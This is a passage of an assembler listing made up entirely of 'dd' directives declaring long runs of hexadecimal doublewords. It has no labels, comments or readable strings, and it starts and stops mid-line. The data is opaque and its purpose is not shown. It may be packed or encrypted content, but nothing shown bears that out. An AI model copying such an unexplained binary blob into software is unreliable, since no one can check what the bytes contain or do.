54D8F9CEh, 59C76CAh, 0A46FA90Fh, 51388092h, 431D4281h dd 0B5007E5Fh, 7DCA59D1h, 61C008Bh, 8D15E70Bh, 630CEA85h dd 6923294Ah, 2761004Bh, 0AFA3257Bh, 9100FBBBh, 8384B012h dd 958A4EECh, 0D488FF78h, 0B4FE2235h, 9694743Dh, 9F9Eh dd 4DCFE603h, 24FA0E91h, 78E0BD1Ch, 0C10E504Eh, 0E62C220Fh dd 2845A4C0h, 0C3D71FFEh, 8E4C731Eh, 0A063B780h, 0AC4AE628h dd 1B2FDE0Fh, 22FBA110h, 1C30DA34h, 0C7AB0004h, 2175C876h dd 0EA0019B3h, 2DFB72A7h, 0ADED18h, 0D78AB15Eh, 15B5E675h dd 19B25301h, 97A71AEBh, 3E95CBD4h, 6B007905h, 1CEC09E1h dd 1E01B8F2h, 0FB065BEBh, 23C17A3Ch, 5E98AD0h, 0D9C4A06Fh dd 0CD5DC04Fh, 1600F497h, 0E3727518h, 0B9D650h, 0B2D4A947h dd 0E9D7F01h, 0BB8AF404h, 3880C196h, 0DD5E81h, 350A973Ch dd 0B205B11Eh, 9F86318h, 0F0719A10h, 8B74C4Eh, 5ED0DB02h dd 0E5E0445Fh, 0A602F4C2h, 1AD84CA1h, 0A56CC994h, 1FFFA820h dd 805F1BB5h, 3B0FFC34h, 73039FB4h, 631D188Fh, 0E140C878h dd 5F2116F3h, 5898002Bh, 0AE016D6Eh, 54633Bh, 9CA702D3h dd 239F9Ah, 0F125761Eh, 4294C151h, 913F9D00h, 92D90878h dd 0FA685054h, 0AAD40053h, 0CCBDA187h, 396EFF4Ah, 0B9A680E8h dd 7E34C391h, 89BA07F2h, 0FEC0D732h, 0B2850013h, 0DB894AAh dd 583F3000h, 4EB40E2Fh, 0FFCD07CEh, 70775A7Ah, 96394516h dd 4358BB00h, 908F13FEh, 0E2C0441h, 0C06F934Fh, 7699355Ch dd 0C4E1B200h, 0B58899Fh, 2B6D0236h, 8A6340E2h, 0C7CB8E80h dd 48B00E6Ah, 91691400h, 6A51F46h, 38E25C23h, 0A056470Bh dd 0E98190E0h, 80937E3Bh, 59AD3205h, 73611F96h, 840E09C8h dd 9060E5E1h, 75008AAFh, 8B6D5739h, 78F90E6h, 73C11EECh dd 0B85C70A2h, 4963456h, 0F6203340h, 3FF890A6h, 2E0058FDh dd 0D8FC9FEDh, 64B83569h, 0E075CE74h, 8DC8B802h, 58968E42h dd 7EA10074h, 109EBCE4h, 0DD031454h, 62D65AA8h, 0CA200489h dd 0A4F22B32h, 0C600EC48h, 0CC13D79Eh, 60A579h, 0A1D4513Bh dd 11C3FF90h, 34001C7Dh, 0EDA4293Ah, 6DAD9Ah, 9F9BE4CDh dd 32CBDAAAh, 0F422F600h, 10DB71E3h, 80A23FE5h, 251E97h dd 6DE44D60h, 6C02931Bh, 0CB29330Fh, 5C5CE090h, 2FCC0007h dd 0ADA2ECF7h, 77008234h, 7EF82E10h, 7AE49Fh, 75B5CDD6h dd 0C39A8A33h, 0BA035290h, 9D924CD2h, 6726B85Ch, 7550B2FBh dd 2884008Dh, 9A073C37h, 0BB0EF388h, 1F6365A4h, 0B3ABF1C0h dd 0CD96DECh, 0A7E35E0Ch, 33007611h, 0B059E26Bh, 3DB63DEh dd 0DAFB7436h, 4BA9B6C2h, 5060804Eh, 6781EEC8h, 3A100F9h dd 0D10A8FDh, 0C32CCAAAh, 74863482h, 58314FB2h, 3A79EEDCh dd 380704C8h, 0C08E2B29h, 1B4AECC2h, 0C026102h, 0C08BA8EDh dd 0F007F3D6h, 83310CA1h, 11D99CB9h, 7517A97Ah, 9C40A89Dh dd 2C42C47h, 4A69C05Dh, 0D909C6ADh, 9AD1A11Fh, 8B1FD041h dd 1D706CBh, 0DE5FDC11h, 0C509D3A1h, 9C498004h, 983AFC81h dd 0A00A720Bh, 0A3AB8E0Ch dd 0D2F10140h, 0B21945B1h, 0BD01EC5Fh, 216AFA1Dh, 0EC2C1339h dd 44EF801h, 0DCF05F40h, 67700E7h, 8BE0EF45h, 0C00FDA5h dd 243CCEC6h, 709CCh, 94193B50h, 2E56EF32h, 8F895424h dd 6D3E9F07h, 7B1FE100h, 0F5E00345h, 7CE40D3h, 3A0CC0C0h dd 21D13600h, 0EB898FA8h, 0FEFCFFh, 0F58D4F3Dh, 490139BDh dd 0E49CA400h, 6BF89D86h, 82480A7Bh, 9FD48565h, 17FFC0DDh dd 2E70B43Ah, 0EB989300h, 75E5D9BDh, 7F9E406h, 73E8956Dh dd 0A9C34F10h, 5CF1FFE6h, 0F4E450D3h, 51D68087h, 0C417B1Ch dd 0EAFD3842h, 915B2080h, 1CC8EFDDh, 27B0ACABh, 9E0C6302h dd 0E0CCFF75h, 99EB0321h, 0FD3277BAh, 50005183h, 83E7768Dh dd 0DE7EABh, 0C54828B2h, 701D57EEh, 4B75FE00h, 92A7DCACh dd 0B6D100C3h, 0B58A6609h, 6530C01Eh, 5D2A998Ch, 3DC4F4ABh dd 74875B34h, 414D0E64h, 0C0CF525Ch, 0B5060D9Ah, 5681D28h dd 1D016A9h, 9B4407Bh, 914F746Ah, 0C30098E4h, 0ABD4B46Eh dd 3A1E7ACCh, 76AF61h, 0C194BAAAh, 0A15D2C93h, 8D23B519h dd 2180A908h, 60C17CE0h, 74002959h, 0FD9CD2A7h, 13F1A05Eh dd 86339Ah, 68A3E6F7h, 5A00B564h, 0FD0ACC75h, 0E6C0113Fh dd 66CFE05Eh, 215508EFh, 8034883Eh, 0EE67EB1Bh, 1DB987Bh dd 84338719h, 0DCABD123h, 5100AAF2h, 97604CFDh, 0EE27AA3h dd 0F12E948h, 92EC4898h, 8303667Fh, 4B7E8FFCh, 0E80818F4h dd 0BA452049h, 0B4B86600h, 8A7CC6D2h, 0A6990153h, 1D2CFB56h dd 126988DFh, 38F036B9h, 0C13F68C8h, 719A669Ch, 0E9340899h dd 77844F88h, 3860066h, 0B841375Dh, 0EE0F9AE1h, 0C58D7ACFh dd 0A847E867h, 1890437Dh, 0E13547h, 0A248AB21h, 7F7BC517h dd 11FD9321h, 3FFC8069h, 8C37C026h, 1897A44h, 0B92C3F33h dd 31845193h, 67488C8Dh, 1D2B79A1h, 3C2AE882h, 0B8C75F0Ah dd 50467434h, 43F2B91Dh, 70C78430h, 840EAEAh, 7307CC90h dd 5D1AD671h, 6D8BF780h, 0CBC20010h, 4F53C4A6h, 787F3ED2h dd 23581107h, 7012544h, 10943AF5h, 0ACAA04F4h, 7560019h dd 2BEB3DCDh, 89001780h, 73D3FA74h, 0E8A77Dh, 10967EB4h dd 2AA407BDh, 0CC744E78h, 0F87FB500h, 0CF388644h, 2C1A3C1Fh dd 4787007Fh, 73EA43C1h, 0B10014F9h, 0F410FF22h, 0F5C44A7h dd 786C7D8Dh, 4A0038ABh, 45C00F3Ah, 0FB07B039h, 0A40B800Eh dd 203CA547h, 7E0C6C6Bh, 5C107FD9h, 918A90Eh, 80A72908h dd 8C703A4Ch, 0A678007Dh, 0A05FCF7Fh, 0B9185C22h, 0E3280FDFh dd 7A26886Eh, 7B08DB89h, 848FD044h, 22328322h, 9D325EE7h dd 8F8B7912h, 943F2814h, 447828B3h, 228437C3h, 5F4267FCh dd 0E0BCF08h, 0DA8AF310h, 146B1450h, 210C3C11h, 78C9089Fh dd 99847790h, 7DDB440Eh, 79282D4Eh, 18504314h, 7290DEDh dd 0E0F1887Ch, 42EF51C8h, 0C32407D4h, 0ABA25440h, 0DB008018h dd 0A4500FFBh, 6421965h, 516BB0A3h, 8B0020BCh, 0F9DF08F5h dd 0DC267Dh, 0C3F1B393h, 0FB06B088h, 7CB19D26h, 0C16F5F00h dd 5015CCh, 74985BF6h, 9CED6C44h, 0E0DBA300h, 4259DA08h dd 1A1900E3h, 7F01A68Dh, 0D600520Bh, 942E9E71h, 0EE11F7A3h dd 1B100F26h, 0E9272C58h, 0DA604E81h, 0B9D4D19h, 293BD61Ch dd 3E802300h, 1DC96F2Eh, 6672BFBDh, 0DAD803B7h, 0B89A5CF4h dd 0D69101FDh, 2083BE12h, 0B6ACF1FAh, 0C42FEAF9h, 9E00A10Ah dd 290DCD7Fh, 9027B7D7h, 6971E54h, 0AFAA436Dh, 7800F96Ch dd 79464911h, 0C9E95Bh, 33E7B45Eh, 376E2520h, 4F26A100h dd 7BB6C8AEh, 328A00ACh, 678065D6h, 0CFFC33BDh, 9CA7DD24h dd 0CDE3B600h, 76A193h, 0B83D5846h, 0A2DBC091h, 90BA2824h dd 6F641C00h, 95A83Bh, 0F00BD6BCh, 5451C537h, 9F606D00h dd 0A7D7C98h, 0F50F00C4h, 0D2270C1Eh, 2F00EE94h, 0E93637DBh dd 1F716AB3h, 0C007E383h, 175035D7h, 0E072895h, 58C5D3F4h dd 81E6E730h, 0A38BE490h, 50B9D0D8h, 33E000C9h, 0DD6370C8h dd 0B3035220h, 58512DD9h, 0CA30B702h, 50B17FB4h, 609F33h dd 0C720703h, 0B2E5AEFh, 40A3CE04h, 0F88078E5h, 0CDC2F6h dd 25D2EA61h, 0C434F3B8h, 2FA06301h, 0C30ABBDCh, 70FF2089h dd 0D9804010h, 0E675F900h, 4902F8F0h, 74BF00A0h, 0CA712FBDh dd 3800EBA3h, 829C9822h, 31BBB81h, 4362D1D9h, 0D6D8CA7Eh dd 0AC005231h, 504D444Bh, 3AE27F41h, 788CD4h, 0EEEE3F1h dd 5BB4349Ch, 0AA5338h, 9D523EC2h, 3EA803EDh, 0F7BE97h dd 0AF800D37h, 0BC065A2Dh, 866F3901h, 0E03EA5D3h, 3E191EDCh dd 0A00DF8Dh, 2DC2B752h, 1A0361CAh, 29E4FBE1h, 0D25EC074h dd 32811C37h, 0C77200ECh, 3B90BF52h, 790F34Ch, 87F56D33h dd 2EDA1F90h, 50B87F7Bh, 37CCC28h, 43E9E883h, 0F9E03BFCh dd 6B006AD7h, 9DB67BC0h, 724B19CEh, 157887h, 88579590h dd 49F021BDh, 0AD20700h, 4C68B937h, 0AB240971h, 0AC0036C3h dd 8DF114EFh, 0E3E81700h, 782C3991h, 24650088h, 75D1732Ah dd 0D500988Ch, 4F834989h, 6BF426h, 74F92533h, 6A637605h dd 0BF0072E8h, 0E627040Fh, 713D0Dh, 6EC226B5h, 0BB10C851h dd 40D86C00h, 0A5FD686Bh, 0DE2400B4h, 3EA3987Ah, 86012325h dd 12100B63h, 0CDF477C5h, 2FC90E37h, 30C0495Ch, 31147B73h dd 0C3C18807h, 7C909045h, 0F023FBh, 0DFA90C5Bh, 0C488B4A8h dd 0E30046FAh, 0E1F183F4h, 0BC5CA3h, 3EDA48EFh, 0C1FD639Dh dd 0FE07B63Ch, 68643Eh, 49E8B81Ch, 0F038A4h, 340BEED9h dd 6F0A5F3Ah, 0A09C8828h, 50670102h, 6021BA8Ch, 12F96618h dd 0FC4F8C7h, 33B700h, 7DA91178h, 0A37FDD57h, 9B383E1Ch dd 9F3B6283h, 0D400E573h, 93407BF3h, 0FEE4E116h, 0A8BF0009h dd 63227C76h, 0E174247Eh, 4967877Dh, 0C1B06798h, 95F8BFh dd 8F274F58h, 0B65728D9h, 0A3E7E000h, 0B51C7DD0h, 0D8C80077h dd 67692BB7h, 0C3EBD70h, 0EA2F0907h, 3A19D655h, 41E90076h dd 0D3E833F8h, 3400A670h, 7152040Dh, 7735E74h, 0A43CE1B6h dd 0FF602FB5h, 194A3B5Dh, 328E0501h, 540BF9EAh, 0EE1534E8h dd 0DE0E3BD3h, 503D5D00h, 45177C71h, 3100C1F8h, 39BD53B1h dd 29FD16Ah, 99D84825h, 10606235h, 28B0D226h, 95C23B02h dd 0C8C4A269h, 10CCDF38h, 5DC3964h, 0AD8F40C0h, 0A9A85C90h dd 0A3560206h, 0F19832C8h, 7FF89B63h, 0AE4C1B41h, 28127C10h dd 0AC4182ACh, 5D2FCB79h, 90E9BAFCh, 3CF200E0h, 80D9919Bh dd 240099E1h, 888B40A1h, 0A0745BBh, 55C203CEh, 0C4800D8h dd 0E1FF1DA4h, 0FEEDD700h, 97AAA2A6h, 3F78BCh, 3D20041Ch dd 0FD6E1FB1h, 0A2075700h, 8206AD96h, 76EE31h, 0C517EC34h dd 0E1E6F092h, 3EA9E800h, 971A9B69h, 90447C28h, 8CF4804Ch dd 9A54024Bh, 0FB1F896Eh, 90D7C4C0h, 0CCFEB800h, 79934695h dd 0F64D029Bh, 0A53E70B3h, 41E22460h, 599C3D2Ch, 24BB1E00h dd 7DE63329h, 1E9840h, 5109112Fh, 3F59E5CEh, 7D3C3E00h dd 4DAFEE97h, 3B71F8h, 0DFC9F70h, 86C95CA5h, 0B363A00h dd 0FD712178h, 73DA0B12h, 0C7816CBDh, 0F01760D2h, 3A07F550h dd 28DBF3A4h, 3F8D4B30h, 0F95F6A3h, 0C590848Ah, 20CDAFA6h dd 1D45BA00h, 0D72DE9CFh, 3E300ECh, 20F8F202h, 0ED0154A5h dd 80D57A81h, 3070C0BCh, 0EAF90060h, 0EEA2CDE4h, 0A31FF0E7h dd 8D408781h, 318E8A08h, 0D8B0E2h, 247B90F6h, 0ACA102BBh dd 0E46EFD00h, 231ED68Bh dd 51DD3D2Dh, 86C37380h, 0C90CE5A4h, 9121D00h, 95602526h dd 308E03B1h, 24056BB6h, 1F877EBh, 4A0E3ADFh, 0A0BB752Dh dd 8DA089B4h, 0F48E0073h, 0FFD8FAD0h, 1100EF80h, 798B47B6h dd 622D2Eh, 61169AE9h, 0BBC197D4h, 72A9F00h, 3CA644D1h dd 996E39ACh, 74A57B80h, 0BE69412Ch, 0FACE6324h, 0BF86A200h dd 0E4CA78h, 0B34EABD2h, 3A1ABD8Fh, 0F6B52C00h, 0B4BF9E41h dd 0A5920085h, 90C6D1F7h, 10029CAh, 4DE302F5h, 9BC045h dd 0F71BBC08h, 165E9F61h, 4972D100h, 9097E252h, 84E0A004h dd 59B092D3h, 0D509C4AAh, 59006AB5h, 82F63A60h, 56BBA41Fh dd 6344EF1Dh, 0FEADF68h, 1020F9B5h, 0B740DD8Fh, 55F29670h dd 5FEC7809h, 276B002Fh, 1C8E0103h, 405D2E70h, 661AB091h dd 7D0343FDh, 0EAC6C38Ah, 0A3EEC079h, 0E028C961h, 0E344CF80h dd 2300D06Ch, 1DA2EAD3h, 156FCBBh, 15834C0Ch, 0DC508F44h dd 0F05CC6E4h, 80B939DCh, 0E5CD2172h, 0EDC0BAh, 0BB633C85h dd 0D81458DBh, 0AFF42A00h, 0BDA8B776h, 0D02D0298h, 0D6336C86h dd 0CB2887C0h, 290014F8h, 0B2B3C9D4h, 754183h, 85D7A0Ch dd 0D64AC858h, 1B70A100h, 1DDE0BE7h, 0F82A2655h, 606E00F8h dd 0FFE54E8h, 9633431Eh, 0FCE23A40h, 39387407h, 0F76CB4h dd 0C3EDCFBh, 0E70DCAACh, 4F3A5A01h, 4116EDA2h, 461DF640h dd 19DF00ABh, 0A7E8A879h, 77008333h, 1B7F050Fh, 7BE4B2h dd 4D22E06h, 60B4F665h, 72632A00h, 6F459D1Eh, 88966036h dd 9FF65AB8h, 0D60023EAh, 327EBEDCh, 11E7382h, 94EA91E9h dd 875F4AA9h, 90A55D20h, 37BE6830h, 2DA8006Dh, 31442174h dd 131FF938h, 0B6C3C7Dh, 430E0D03h, 9F4FD05Fh, 0C1E7005Ch dd 580BFF28h, 0A53B739Eh, 48D89E2Ah, 9243057Ch, 4C7EDB3h dd 4ED05B97h, 0FF1E358h, 749840D3h, 0F575C00h, 470316B9h dd 0CDC7F91h, 62EA0DAh, 0D0620C7Ch, 0DF290EB4h, 3EDECB00h dd 0C074B75Dh, 8CEC00B3h, 0D1722991h, 0DA7EBA33h, 29F6607h dd 800E515Bh, 0D2B277BCh, 0A3B4003Bh, 5E1832ABh, 6A002952h dd 5079FE5h, 381B215h, 82AFA2B8h, 54C857C5h, 0D800F9C8h dd 5D2B71DFh, 1F4F67h, 2E3E7FBDh, 29FA9399h, 3B062707h dd 0D1561810h, 344F0016h, 1ADAF077h, 121329BDh, 541FB842h dd 5C8C3AC0h, 4B2CE1DCh, 2451B887h, 7F0B893Ch, 0ECA680A5h dd 180B3D3Bh, 0BA60030Eh, 0AA28F973h, 78729C88h, 3508FA00h dd 0D510ECBh, 1FCC1DF0h, 6D4CF8Bh, 723BA014h, 0C2A87503h dd 0F7F019D1h, 4E14B51Bh, 0FDB918h, 33752ECFh, 7F6D3D05h dd 0AF4400BAh, 3AC4F3E1h, 0A8F74AA8h, 3B000C48h, 7719E20Bh dd 809183h, 0C6C0C28Ch, 6B6E86D8h, 0C100F872h, 55F740B3h dd 1303ECDh, 0B7717B9Fh, 0D07F8B43h, 23009E08h, 8C749CFEh dd 49D47h, 0ACEB0DB6h, 0BED2227Dh, 0C6CD100h, 47081D36h dd 32F30057h, 0E22610F7h, 0A0006560h, 0E3FEEA7Ch, 7B409A19h dd 7A6E00DBh, 0DC571D4Fh, 1C00CE09h, 62B395C8h, 713615Fh dd 0D2835E5Ch, 11A32271h, 0DA42EFC0h, 8AC5FF00h, 4C060933h dd 0B58800DCh, 9111BDD3h, 83038BC3h, 4F1F60E5h, 0ACB1A5E9h dd 22CB460h, 55183CFDh, 0B440B9E0h, 0F61D17D9h, 3F9FEEF4h dd 872A69C1h, 3DE48E14h, 1C8AFEEBh, 80944F46h, 0F01C113h dd 0A600B64Ah, 72A8C682h, 7E147AA3h, 73B1006Dh, 2F707644h dd 7C9263D2h, 96D463B0h, 214007Ch, 1A3609B6h, 10F8901Fh dd 24063EFAh, 0F940BCCEh, 0F9A02ADh, 9EBFDD29h, 45E40D41h dd 5CA8C4B3h, 4158B612h, 376BFC00h, 0DA70A4h, 30E8A9D9h dd 0B5272B65h, 1F4EF909h, 0F5C00F7h, 7920F6F3h, 91E99817h dd 7F00888h, 0F4905E00h, 3C1954h, 379BFF30h, 0E6793528h dd 11194B70h, 6A488D51h, 10930h, 407CFC31h, 0D63E30F3h dd 46480E6Ah, 56F6701h, 0C670FB1Eh, 0D031D9Ah, 85134041h dd 0F18E6B69h, 145DF501h, 0B7C8D6FAh, 0FC945CE0h, 0B15F0029h dd 0D057E0B6h, 0DE0BB462h, 0B99F40h, 391F9547h, 46AE0028h dd 3A2EE783h, 860034B8h, 0B7C96D72h, 9B8F1Bh, 575DC2FCh dd 0C4AE62D7h, 0E2CC5000h, 42DD1473h, 6CCD0028h, 5E3F65AFh dd 2A0072A4h, 3D44AC75h, 1E898B27h, 80D01EA6h, 9AABE484h dd 2A601CDFh, 0CD78B560h, 641F4CEDh, 40F3A01Fh, 1D55E67Ah dd 971436BCh, 1498E5A5h, 80BC859Ch, 6AC7166Dh, 1322391Ch dd 84A70203h, 1200B5F5h, 146D3A3Ch, 5C10260Ah, 8900D25Ah dd 0B758DCF0h, 9478C388h, 9C1C2D00h, 0C14AE7CDh, 0C7F750Eh dd 5470C88Fh, 4D262F69h, 3CEC07h, 60282AD1h, 177ECD0h dd 6B7C8397h, 0E49121EFh, 29001623h, 30D3AA1Fh, 736DA7EBh dd 0FFC0A0D9h, 80BB2CAEh, 4C01029Bh, 0A5609DF6h, 7124CF6Ch dd 3F00A1BAh, 5D667021h, 737F0318h, 0B8556FDEh, 4CD624C8h dd 58942000h, 468F329Bh, 0C63B3FE1h, 178642Ch, 0F41AA336h dd 1897FC0Ch, 0FF0A8400h, 8EAA3596h, 0B1FA1Eh, 0F90C2BF2h dd 0B7A5E83Eh, 0BA907D73h, 9D036000h, 395DFD27h, 0E0A30086h dd 2BA02283h, 0B11D8A49h, 3180ECC7h, 0FBEA7EDAh, 9CF500C0h dd 941B77E1h, 0EC00AF86h, 0A0B5C214h, 0EC73F3B1h, 528D0054h dd 39C60C77h, 0C1008361h, 0F23DBEE6h, 0D34D37h, 9DF1F30Dh dd 72A3A9D0h, 5B1FD200h, 26D689Eh, 0BF7A60h, 5464F1CFh dd 0A4EAE938h, 2AC67E0Eh, 906AE00Ah, 1A30E08h, 92FEA6EEh dd 0E4565F5Ch, 0C2009CA2h, 0AEA59153h, 18C94003h, 0A0F0257Eh dd 0FA001009h, 167048EAh, 6D8CEFh, 0DD4D5C5h, 9F7FE383h dd 0D6E44200h, 0BA652F7h, 62913992h, 95C3DE00h, 6843C1DDh dd 0F157D81Fh, 0F9C56FCCh, 0E417060Fh, 51E04CAEh, 0EB692500h dd 0E6F93D29h, 83F10607h, 0E02860C6h, 0E15AB700h, 0CA717698h dd 504D00FBh, 0F4AF365Dh, 852CAE2Ah, 0CB00743Eh, 65F381A9h dd 96140020h, 0EB285BFDh, 3701C869h, 19553160h, 689E2C5Eh dd 0CCA68196h, 85953F77h, 0FEBF298h, 0EEE9FC00h, 0D626A3E2h dd 73F80F80h, 0A1F1DDE7h, 0FF0ADABFh, 38388597h, 9F00DF8Ch dd 0D7465910h, 0ED723Ch, 51A29FFh, 0AC328AF5h, 20BF3Ch dd 0A09AF9FCh, 2E8379h, 606B53A9h, 3ACC9A3h, 3C146900h dd 0A3D2706h, 99FB0002h, 118381ADh, 0A80E43F3h, 0E04CB887h dd 2F4A5668h, 7EE203D7h, 22A0643Dh, 0CD5EC4B8h, 800069B8h dd 14C1EB67h, 1E8353F1h, 0C0495B1Dh, 2DAF41FAh, 9A07A23Dh dd 2AB82587h, 52510AF0h, 71F5B881h, 0EFC40060h, 0E7AE3F7Ch dd 8F0067E0h, 2C1FFD7Dh, 1147F2Eh, 0D7A22287h, 0D0897BA8h dd 0C74AC666h, 993B55F8h, 5FE27F80h, 41227EC0h, 9FF25C00h dd 6847B61Bh, 0D69131B4h, 0E8AB64F0h, 0E5074E46h, 61C793CCh dd 0EB3FE920h, 89860049h, 73087A2Ah, 260082A3h, 0C574B644h dd 4763B0h, 0E68352F8h, 85F39E4Eh, 0C31D3200h, 0B8DC060h dd 822207AFh, 0E09771B1h, 0A6F1C877h, 0EC705D7Fh, 0F33FBD00h dd 9A8F895h, 80A10073h, 0F1DB6BD9h, 1A00A66Ah, 46A59A10h dd 2841DD8h, 0BF900D20h, 0C400832h, 0C4006202h, 211EC286h dd 0D7A6CEh, 0F3ABCAE6h, 173AD2B7h, 76CC8B3Eh, 0E7447D48h dd 9491B7C4h, 0F610B40Eh, 0EE00E218h, 27C97158h, 1204FDF2h dd 29E10Ah, 0DAB8A74Ch, 0E617C3D8h, 1F00E2A2h, 4EACA695h dd 34801C70h, 0DD740D1h, 799097AAh, 9085B424h, 78561280h dd 246D31Eh, 911DA805h dd 84449E39h, 0C607EE78h, 0F73F1364h, 0CF702039h, 1F706A56h dd 61857A8h, 0C9827C73h, 64C24202h, 48F0147Eh, 40A469Ch dd 8CF65754h, 6DC4882Ah, 0EEB94C00h, 0C9CD3449h, 5DD01F3h dd 0DE9DFBAFh, 0EF1080CFh, 0CC4380A9h, 1D720021h, 4DC4F940h dd 0B6069DA1h, 6210CFF4h, 997D0079h, 6A1D2107h, 0FC0071B8h dd 45BEC396h, 33E55C6h, 5A077C37h, 5FC81ACAh, 0EB304E4Fh dd 58F9D0B7h, 3B20E8EFh, 0FD8F8073h, 5B80777Bh, 0C3956A14h dd 0FCA05C12h, 20E2DB0Eh, 76B5F9D5h, 0FBBF006Fh, 84882591h dd 9C0E5D17h, 0AE619DD8h, 0CC9BFC9h, 0FBA4A110h, 0A050C46Dh dd 951902h, 9B5F0962h, 0FABD9A57h, 0C1C5A107h, 0AA500704h dd 0EBB7CFh, 56E4F2C7h, 2E81D90Bh, 0F32DFB00h, 0CA832012h dd 8A7A39h, 7045B477h, 8767DBE5h, 0D8B6A400h, 25F046D5h dd 30F20022h, 0B5BA5B63h, 4D00C660h, 9172592Fh, 4CA19FF8h dd 513F3C77h, 0B7140D80h, 6024C87Ch, 48C07307h, 2660E867h dd 0F4749769h, 0B5F30063h, 4F412A3Bh, 4B003CEAh, 3F2C3839h dd 393DEC55h, 0E4BE5E56h, 3AD55B8Eh, 7F7E7700h, 9C07102h dd 7866D20h, 817C00F9h, 1BDCAA9Dh, 0FB002CFAh, 0EF09E552h dd 0B8C291h, 0B7BFDEE1h, 3BD52FD1h, 6E78A0A8h, 71DB3E00h dd 0E88867Ah, 47C00A33h, 87FC6C43h, 40B4E8F4h, 39E03ACFh dd 8055FB3Ch, 0DC0DA15Bh, 7321CE8Ah, 0C95401F6h, 6E69482Fh dd 9BA052E9h, 7BCFF040h, 7016FE03h, 805201E3h, 0F73764h dd 0BDBA113Bh, 15D23486h, 394D6000h, 0E5D7AA25h, 23A23BACh dd 0B9DCDD00h, 3D5C61CDh, 1BE44A00h, 988BDBB1h, 266603B3h dd 0CAE965AEh, 23A8009Dh, 2389E81h, 0D2B0631Ch, 0E1D6C4C0h dd 0BF6147h, 0D4BC6CD7h, 7B93B4DFh, 0F8817A00h, 8F60C8Ch dd 0FCA7077Ch, 15F489FFh, 0ADD409CAh, 9A85808h, 0BC807FDAh dd 1F02D345h, 17921B15h, 715A00A4h, 34C76AEEh, 0F6680F41h dd 2BE07FA1h, 0EABD4D73h, 0E4889C00h, 20A3FB2Fh, 14D1F6C7h dd 8755C22Dh, 85B1441Dh, 805F42EEh, 97248AC5h, 11293500h dd 3B74096Ah, 4AF8002Bh, 7394F5A5h, 0FC032807h, 72673AACh dd 343D8F3h, 0BB1016Dh, 5AEAB2BEh, 0EC86F538h, 9D017914h dd 0AF8A08B5h, 4DC0E69Ch, 795B98D8h, 0E01F004Ch, 5F961556h dd 0C9F2EE1Dh, 670009EEh, 0F220A60Ah, 25A141Fh, 9B3F1CBDh dd 24C45F95h, 0DD3EFA0Eh, 458D008Bh, 0DC315Bh, 0AC199EAAh dd 0A76638F0h, 4EA4D400h, 0A9016B67h, 6C7C0027h, 0AA163ECBh dd 0D901B342h, 0CAE4E912h, 61E4CEC4h, 48037CFAh, 4938F8F8h dd 318AE0BDh, 3B87D9D8h, 3B44BA00h, 0DB7D0DFh, 46204A60h dd 7830F33h, 8F218B7Fh, 84231381h, 872A021Fh, 795C7Dh dd 0DBCDEB1Bh, 0F3315Fh, 5361F49Ch, 5EC696ECh, 1E003AB8h dd 7FB091F7h, 0FCAC95h, 9CF10894h, 5E731411h, 4600BBF0h dd 0B7EDDC35h, 0E64C0Fh, 0C362AEB9h, 43D44225h, 0B1456A0Eh dd 8566A365h, 7BF188F5h, 0D172008Fh, 0A5948C37h, 983A02DFh dd 133E840Fh, 4CC020A1h, 5B2C2A95h, 39A6AC46h, 0F51CF7F7h dd 0D0118F8h, 0B381B047h, 402C60h, 0DBBF4964h, 0D044DDE5h dd 0BF1C0538h, 0E0282469h, 89A2B98Eh, 0CA5420F4h, 26F77h dd 40392D23h, 2C606537h, 75E8277Ah, 5522BE00h, 0DCE7B1C5h dd 59320039h, 16343353h, 0F3003554h, 0C587FB83h, 88A4B3h dd 736677DCh, 99E330FDh, 0DE98B06Fh, 520099ACh, 6B15206Eh dd 724C1E56h, 402F1DD4h, 0AB0A14F5h, 9C73990Ch, 9674ED0Fh dd 9E8C801Ah, 71D817h, 5AEB22CBh, 0F797A6F9h, 0F05FEE2h dd 36CA7CADh, 7CF47488h, 1D8A1DAEh, 0DEF25CB5h, 9266818Ch dd 602F19DEh, 0F7125068h, 0CC122D3Eh, 39760902h, 60E48F15h dd 8506F0F2h, 902003ADh, 0ABEEB1BAh, 5D0F4800h, 88E644B2h dd 0C36009Ch, 0D81AA85Fh, 4B079B89h, 40B658D1h, 865C2E40h dd 71130022h, 5E6C4A50h, 1A002183h, 6E48586Ah, 4D890869h dd 4600CCCFh, 45DDCDA9h, 0E9003014h, 0C0E10340h, 1DB2B897h dd 80076A50h, 0BA64627Fh, 0D7000EFEh, 3FBF7AA3h, 122600Dh dd 7028D9BCh, 0D0845B8Bh, 0B230331Eh, 0F83AB8B0h, 68507DAh dd 87278D4Ah, 286651BFh, 9D8850A9h, 0FF00CA22h, 369EF2D5h dd 28FDBCE0h, 0EECC866h, 16A5EBB6h, 81F52460h, 3A00F305h dd 688B326Ah, 1C262BEh, 23CF6C0Fh, 0E46ED2F2h, 9F2C9D2Ah dd 3F00745Fh, 0CCA8287Dh, 35310955h, 1E00BCB9h, 9FD7F6F9h dd 4A5F520Fh, 0FB860213h, 63C2C012h, 73DC0026h, 61C9FD3Bh dd 0D00AF80h, 1E8C9E11h, 0F80FA6h, 0CD3D93EEh, 4A48B1C3h dd 803148h, 9CD23F65h, 39AB3652h, 22800EE2h, 21B9FAE1h dd 1400CD6Ch, 0D75D6097h, 535C608h, 749C51E8h, 47CCC3F6h dd 4A236498h, 2B5B6107h, 25536342h, 2C5CD830h, 16B7947h dd 18DEDD23h, 0FC170C06h, 2405DBEAh, 48FCF31Eh, 3B236C90h dd 1FD2B058h, 0C635AAh, 0C2720480h, 0E43BB3D8h, 7C7087B7h dd 2530EEFBh, 0FACF4527h, 91B500B4h, 54B0C360h, 595C5C13h dd 9FA40094h, 5D1B7672h, 83CD006Dh, 0FB36C4D7h, 4006706h dd 0EA6E9816h, 775C1F12h, 0C370019h, 0ED1A924Bh, 130060FFh dd 1795F78Ch, 0F6D972h, 0B20EB29h, 64423090h, 686ED837h dd 0E89DAB40h, 0B6A7092Bh, 1B80DBDAh, 0E539E782h, 0C62E6C98h dd 0EF001A9Ah, 0A186E2BAh, 0A0F15094h, 60800A7h, 0FE78AA0Dh dd 25CA215h, 69039BCh, 0AA70EFBh, 5BD7F20h, 376B61B8h dd 3D66C0C9h, 561652BFh, 0EF0090E8h, 3F395CC3h, 2AEC60h dd 26E0A8C6h, 0D41CA72h, 4B50254Ch, 3869D401h, 6830DA05h dd 3EBF003Bh, 5611E8D0h, 99008319h, 0E38D86B8h, 172D890Fh dd 7DD4EFBh, 0C0B72654h, 0C97BE7B3h, 3C0079F8h, 0F82A7009h dd 0EE39FC3h, 159389E0h, 0DB8ED881h, 5045E431h, 